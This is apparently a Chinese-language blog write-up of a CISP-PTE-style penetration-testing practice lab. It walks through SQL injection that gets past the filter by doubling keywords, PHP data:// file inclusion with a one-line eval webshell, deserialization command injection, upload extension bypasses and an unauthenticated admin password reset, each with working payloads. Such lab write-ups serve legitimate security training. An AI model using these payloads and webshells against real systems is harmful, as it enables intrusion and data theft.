yongz
发布于 2024-06-16 / 8 阅读
0

类 CISP-PTE 模拟测试

类 CISP-PTE 模拟测试

这靶机是在 N 年前做 Web 渗透培训时候的考核靶机,最近又有用到,那正好水一篇

1 SQL Injection

访问关卡界面如下:

一个非常明显的 SQL Injection 场景,输入任意数字后查询即可:

经过输入尝试,可以发现如下内容:

  • 闭合类型:单引号

  • 闭合符号:#/%23-- /+

  • 过滤字符:and、or、union、select

  • 绕过方式:双写

注入步骤如下所示:

## 判断查询列数
?id=1' oorrder by 1 %23 # 正常
?id=1' oorrder by 2 %23 # 正常
?id=1' oorrder by 3 %23 # 报错
## 查看页面回显
?id=-1' uniunionon selselectect 1,2 %23 # 1,2 均回显
## 查看所有数据库名
?id=-1' uniunionon selselectect 1,group_concat(schema_name) from infoorrmation_schema.schemata %23 # information_schema,Flag_db,mysql,test
## 查看 Flag_db 中的所有表名
?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'Flag_db' %23 # FlA9_t0b
## 查看 FlA9_t0b 中的字段
?id=-1' uniunionon selselectect 1,group_concat(columns_name) from infoorrmation_schema.columns where table_schema = 'Flag_db' aandnd table_name = 'FlA9_t0b' %23 # fLa9_col
## 查看 flag
?id=-1' uniunionon selselectect 1,group_concat(fLa9_col) from Flag_db.FlA9_t0b %23 # Flag{Sql_INject_IS_funny~_~}

2 File_include

访问关卡界面如下:

可以看到一个非常明显的参数名 flag,尝试使用 PHP 伪协议:

http://10.10.8.13:8002/index.php?file=data:,<?php phpinfo()?>

可以看到 data 协议可以使用,说明对方设置了 allow_url_include = On,直接使用 AntSword 连接:

http://10.10.8.13:8002/index.php?file=data:,<?php eval($_POST[1]);?>

查找 flag:

3 Unserialize

访问关卡界面如下:

一个简单的反序列化题目,重点在于 call_user_func 函数,这是一个可以用于执行命令的函数。首先将 index 类进行序列化:

<?php
  class index{
      public $method;
      public $args;
      function __destruct(){
          if (in_array($this->method, array("ping"))) {
              call_user_func(array($this,$this->method), $this->args);
          }
      }
      function ping($host){
          system("ping -c 2 $host");
      }
  }
 	echo serialize(new index); // O:5:"index":2:{s:6:"method";N;s:4:"args";N;}
?>

根据上述代码,得出 method 必须为 ping,args 被交由 ping() 函数执行中的 system 执行,这时可以使用连接符进行命令拼接,构造如下代码:

O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:9:"127.0.0.1";} 

构建漏洞利用代码:

O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:12:"127.0.0.1;ls";}

查看 flag:

O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:30:"127.0.0.1;cat f1a9_is_here.txt";}

4 File_upload

访问关卡界面如下:

一个典型的文件上传界面,下方附带了关卡代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看出是白名单,通过各种尝试,得出特殊后缀绕过(php3、phtml…):

<?php echo 404;eval($_POST[1])?>

成功找到 flag。

5 Hack a OA SYSTEM

访问关卡界面如下:

下载 OA 源码,分析源码,得出以下几个漏洞。

5.1 Unserialize

发现一个 test.php 文件,内容如下:

<?php

class test{
    
    public $method;
    public $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        }
    }   
}
$a=@$_POST['a'];
@unserialize($a);
?>

查看源码,发现与前面 Unserialize 的代码类似,但是存在有不同之处:

## 这里是
call_user_func_array()
  
## 上面是
call_user_func()

## 一个提交的是数组函数,一个单一函数

一样先将其反序列化:

<?php
	class test{
      public $method;
      public $args;
      function __construct($method, $args) {
          $this->method = $method;
          $this->args = $args;
      }

      function __destruct(){
          if (in_array($this->method, array("ping"))) {
              call_user_func_array(array($this, $this->method), $this->args);
          }
      } 

      function ping($host){
          system("ping -c 2 $host");
      }
      function waf($str){
          $str=str_replace(' ','',$str);
          return $str;
      }

      function __wakeup(){
          foreach($this->args as $k => $v) {
              $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
          }
      }   
  }
	echo serialize(new test()); //O:4:"test":2:{s:6:"method";N;s:4:"args";N;}
?>

构建漏洞代码(args 需要是数组):

## echo serialize(array("127.0.0.1"));
O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:9:"127.0.0.1";}}

这时候就可以使用命令连接符进行命令拼接,但是查看源码里有个 WAF 函数,过滤了空格,无法实现返回上级,通过页面提示,flag 文件在系统根目录下:

a=O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:23:"127.0.0.1;cat</f1a9.txt";}}

5.2 DatabaseConfig.php

在 config.php 中发现了数据库连接文件:

<?php
define("DBHOST","127.0.0.1");
define('DBUSER','root');
define('DBPASS','root');
define('DBNAME','oa');
define('ROOTDRI',__DIR__."/../");
require(ROOTDRI.'/org/smarty/Smarty.class.php');
session_start();
?>

但是数据库连接不上,因为靶机 Docker 并未开放对应数据库端口。

5.3 File_upload(1)

在 File.php 中发现了文件上传代码:

<?php
    
    class File{
        private $typelist;
        private $allowexten;
        private $path;
        function __construct(){
            if (!isset($_SESSION['username'])){
                exit("not login");
            }
            $this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
            $this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
            $this->path='./upload';
        }

        function save(){
            $username=$_SESSION['username'];
            $upfile=$_FILES['pic'];
            $fileinfo=pathinfo($upfile["name"]);
            if(in_array($fileinfo["extension"],$this->notallow)){
                exit('error');
            }
            $path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
            if (file_exists($path)){
                exit("file already exists");
            }
            if(move_uploaded_file($upfile['tmp_name'],  $path)){
                return True;
            }else{
                return False;
            }
        }
    }
?>

发现其过滤规则,但文件上传需要对应上传点,所以需要先注册一个用户:

if (!isset($_SESSION['username'])){
    exit("not login");
}

但是上传时会发现怎么上传都是失败,经查看是 User.php 调用了 File.php 文件:

function upload(){
    if(isset($_SESSION['username']) and $_SESSION['username']==="admin"){
        include_once __DIR__."/File.php";
        $up=new File();
        if($up->save()){
            $this->tp->display("success.tpl");
        }       
    }else{
        $this->tp->display("error.tpl");
    }
}

查看 User.php 源码发现限制了上传,因为 username 必须为 admin。

5.4 Code Audit

上传要求必须为 admin,看看能不能修改 admin 的密码:

function upload(){
    if(isset($_SESSION['username']) and $_SESSION['username']==="admin"){
        include_once __DIR__."/File.php";
        $up=new File();
        if($up->save()){
            $this->tp->display("success.tpl");
        }       
    }else{
        $this->tp->display("error.tpl");
    }
}

查看 index.php 页面源码,发现有两个函数 run_c、run_a,且当 c 参数的值为空就以 User 为默认值,当 a 参数为空就以 Index 为默认值:

<?php
  include "./common/function.php";
  include "./include/config.php";
  include "./lib/base.php";

  $c=isset($_GET['c'])?$_GET['c']:'User';
  $a=isset($_GET['a'])?$_GET['a']:'Index';

  $obj=run_c($c);
  run_a($obj,$a);
?>

看看这两个函数的作用:

<?php
  function run_c($class){
      if ( !preg_match('/^\w+$/', $class) or (!file_exists(ROOTDRI."/lib/".$class.".php")) ){
          exit('hack');
      }else{
          include "./lib/".$class.".php";
          return new $class;
      }
  }

  function run_a($obj,$action){
      if ( !preg_match('/^\w+$/', $action) or !method_exists($obj,$action) ){
          exit('hack');
      }else{
          eval('$obj->'.$action.'();');
      }
  }
?>

当 C 值为空时,包含 include "./lib/".User.".php",进入 lib/User.php,发现有一个更新密码的函数:

<?php
  class User extends base{
	  ......
      function updatepass(){
          if (!empty($_POST['username']) and !empty($_POST['password'])){
              $username=addslashes($_POST['username']);
              $password=md5($_POST['password']);
              $sql="update user set password='$password' where username='$username' ";
              if (mysql_query($sql)){
                  $this->tp->display("success.tpl");
              }
          }
      }
  }
?>

发现是直接接收 username 与 password 的值,并没有进行二次校验/过滤。构造 Payload:

## 两个参数
?c=User&a=updatepass
## 一个参数
?a=updatepass

## POST
username=admin&password=123456

修改成功~,可以成功登录。

5.5 SQL Injection

5.5.1 万能密码

在登录时抓包发现存在有万能密码:

username=admin'-- &password=123456

5.5.2 SQLMap

保存上述 HTTP 请求报文,使用 SQLMap 工具跑一下:

  • 存在布尔盲注和时间盲注,深入查找数据:

得出管理员账号密码:admin/admin888。

5.6 暴力破解

既然存在有登录框,已知用户名是 admin,而且没有验证码和次数限制,那就直接使用 BurpSuite 进行暴力破解:

[!Warning]
BurpSuite 默认的密码字典爆不出来,需要手动添加字典。

得出密码是:admin888

5.7 File_upload(2)

根据之前的漏洞利用,已经得出管理员账号密码为:admin/admin888。登录查看内容:

只有一个文件上传点,查看文件上传的源码:

<?php
    class File{
        private $typelist;
        private $allowexten;
        private $path;
        function __construct(){           
            if (!isset($_SESSION['username'])){
                exit("not login");
            }
            $this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
            $this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
            $this->path='./upload';
        }
        function save(){            
            $username=$_SESSION['username'];
            $upfile=$_FILES['pic'];
            $fileinfo=pathinfo($upfile["name"]);
            if(in_array($fileinfo["extension"],$this->notallow)){
                exit('error');
            }
            $path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
            if (file_exists($path)){
                exit("file already exists");
            }
            if(move_uploaded_file($upfile['tmp_name'],  $path)){
                return True;
            }else{
                return False;
            }
        }
    }
?>

分析源码可得出如下结果:

## 允许上传的 MIME 类型
array("image/jpeg","image/jpg","image/png","image/gif")

## 不允许上传的后缀名
array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");

## 文件上传的保存路径为
./upload

## 存放的文件名为
$username."_".$fileinfo["filename"].".".$fileinfo["extension"]
admin_xxx.xxx

可以使用大小写上传文件,最后连接木马: